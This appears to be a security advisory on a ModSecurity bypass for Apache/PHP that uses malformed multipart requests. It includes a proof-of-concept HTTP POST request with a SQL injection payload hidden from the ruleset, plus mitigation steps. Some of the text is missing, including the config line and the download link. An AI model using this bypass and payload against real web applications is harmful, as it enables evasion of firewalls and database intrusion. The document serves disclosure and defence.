ModSecurity multipart/invalid part ruleset bypass

ModSecurity for Apache is a web server plug-in for the Apache web server

platform. This is the original, most mature and deployed ModSecurity module.
This module is maintained by the Trustwave SpiderLabs Research Team.

Vulnerability overview/description:
Validation of POST parameters can be bypassed on Apache/PHP installations by
sending specially formed multipart requests. A POST parameter's content can be
hidden from ModSecurity by prepending an invalid part. This first part
contains only a Content-Disposition header and has an additional carriage
return inserted at the end of the line ([\r\r\n]). This is followed by a
boundary in the next line and another Content-Disposition header with a
filename. The request content looks like this (newlines are all \r\n except in
line 2).

Content-Disposition: form-data; name="id"[\r][\r][\n]
Content-Disposition: form-data; name="lol"; filename="x"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--


ModSecurity skips what it believes to be an invalid first part and proceeds to
parse the second part. This part is treated as a file and not checked against
the ruleset.

PHP however treats the whole thing as a single part and processes only the
first Content-Disposition header, ignoring the second one. In the opinion of
PHP this request contains a POST parameter with the name specified in the
first header.
Proof of concept:


<? echo $POST[xxx] ?>
POST request:

POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161

Content-Disposition: form-data; name="xxx"[\r][\r][\n]
Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--


1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

(any change in the header should produce a 403)
To mitigate this bypass method, upgrade to ModSecurity 2.7.0 and make sure
that the MULTIPART_INVALID_PART flag is set in the multipart strict validation
rule. Add the line:


to the SecRule MULTIPART_STRICT_ERROR in your ModSecurity configuration file.

Download is available at:


And this thing here: